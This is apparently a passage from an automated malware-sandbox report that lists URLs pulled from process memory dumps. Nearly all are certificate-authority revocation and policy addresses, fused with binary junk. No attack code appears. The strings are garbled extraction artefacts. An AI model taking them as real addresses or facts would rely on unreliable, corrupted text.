"https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.11.15" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lk;j0verisign," - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000868.00000001.236285.44120000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00000868.00000001.236285.44710000.00000004.mdmp") Found URL "http://crl.microsoft/crl/products/microoceraut_2010-06-23.crn0l0j>http://www.microspki/certceraut_2010-06-23.crt01httmicrosoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00000868.00000001.236285.44710000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00000868.00000001.236285.44710000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001280.00000000.235925.E1460000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001280.00000000.235925.E1460000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001280.00000000.235925.E1460000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcthawte," - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;311.46.3arsmarsmv4.0.30319n+" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0callsite.targetlambda_method!hq" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?entrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fanonymously" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows\l" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows@tj'" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4washington1redmond1microsoft" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-n0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vktok0d$" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001280.00000000.235925.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp") Found URL "https://go.microsoft.cwlin" - Source: "00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00001280.00000000.235925.FBDE0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001280.00000001.235932.9F9A2000.00000002.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001280.00000001.235932.E1460000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001280.00000001.235932.E1460000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001280.00000001.235932.E1460000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czcthawte," - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;tt3;311.46.3arsmv4.0.30319n+" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0callsite.targetlambda_method!hq" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?entrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fanonymously" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows\l" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows@tj'" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4washington1redmond1microsoft" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-n0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vktok0d$" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001280.00000001.235932.E36E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp") Found URL "https://go.microsoft.cwlin" - Source: "00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00001280.00000001.235932.FBDE0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;greater" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ll*xr1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdpl*xr1.3.132.0.8@eckp1.3.132.0.33ecdp1.3.132.0.34@eckpl*xrl*xr1.3.132.0.32ecdp1.3.132.0.35@eckp" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_20.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*letp" - Source: "00000000-00007652.00000000.236228.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007652.00000000.236228.04F50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007652.00000000.236228.04F50000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007652.00000000.236228.05230000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?exlm;il" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0us1)0'" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwestern" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007652.00000000.236228.076B2000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007652.00000000.236228.73401000.00000020.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;greater" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdpl*xr1.3.132.0.8@eckp1.3.132.0.33ecdp1.3.132.0.34@eckp1.3.132.0.32ecdp1.3.132.0.35@eckp" - Source: "00000000-00007652.00000001.238147.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007652.00000001.238147.04F50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc1n6;2n1;db" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?exlm;il" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwestern" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL 